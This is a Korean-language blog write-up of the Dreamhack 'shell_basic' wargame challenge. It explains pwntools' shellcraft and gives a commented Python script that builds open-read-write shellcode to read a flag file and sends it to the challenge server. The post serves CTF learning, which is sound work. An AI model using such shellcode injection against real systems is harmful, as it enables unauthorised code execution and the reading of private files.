https://dreamhack.io/wargame/challenges/410
이 문제는 셸크래프트를 이용해서 푸는 문제이다.
* 파이썬 모듈 pwntools의 shellcraft
- pwntools는 execve 셸코드를 작성할 뿐만 아니라 open, read, write 시스템 콜을 모두 지원한다.
- 셸크래프트는 해당 시스템콜의 어셈블리어코드를 만들어주므로 orw, 즉 open, read, write 시스템콜하여 쉘코드를 만들어야 한다.
from pwn import * #pwntools 모듈을 사용하기 위해 pwn 임포트
#pwntools 모듈에 있는 함수와 클래스를 제한없이 사용하기 위해 전체 다 임포트!
p = remote("접속할 서버", 포트번호)
#접속해야 하는 서버의 주소와 포트번호를 입력한 객체를 하나 생성하여 p에 저장
context.arch = "amd64" #context는 pwntools 설정에 쓰인다.
#context 중 arch는 pwntools에서 사용되는 프로세서 언어를 설정하는 속성
#context.arch를 amd64로 설정하면 amd64에 맞는 환경으로 pwntools를 설정해 준다.
r = "/home/shell_basic/flag_name_is_loooooong"
#r에는 flag 값이 들어있는 경로를 넣는다. 이후에 쉘코드를 만들 때 파일을 여는 경로로 설정된다.
shellcode = '' #셸 코드 간편하게 작성하기 위해 shellcraft를 이용
shellcode += shellcraft.open(r) #shellcraft.open을 통해 미리 지정한 파일 열기
shellcode += shellcraft.read('rax', 'rsp', 0x100) #shellcraft.read로 이를 읽기
shellcode += shellcraft.write(1, 'rsp', 0x100) #shellcraft.write로 콘솔에 출력
print(p.recv())
p.sendline(asm(shellcode))
print(p.recv())
#생성한 쉘 코드를 asm함수를 사용하여 어셈블리어로 변환한 후에 서버로 전송
#그리고 결과값을 받아와서 출력
위 코드를 리눅스 환경에서 실행하면 플래그 값을 얻을 수 있다.
참고
'CTF > Dreamhack' 카테고리의 다른 글
[Dreamhack] simple-web-request (0) | 2023.09.16 |
---|---|
[Dreamhack] phpreg (0) | 2023.09.13 |
[Dreamhack] RSA-wiener (1) | 2023.05.30 |
[Dreamhack] proxy-1 (0) | 2023.05.24 |
[Dreamhack] Basic_Crypto1 (0) | 2023.05.24 |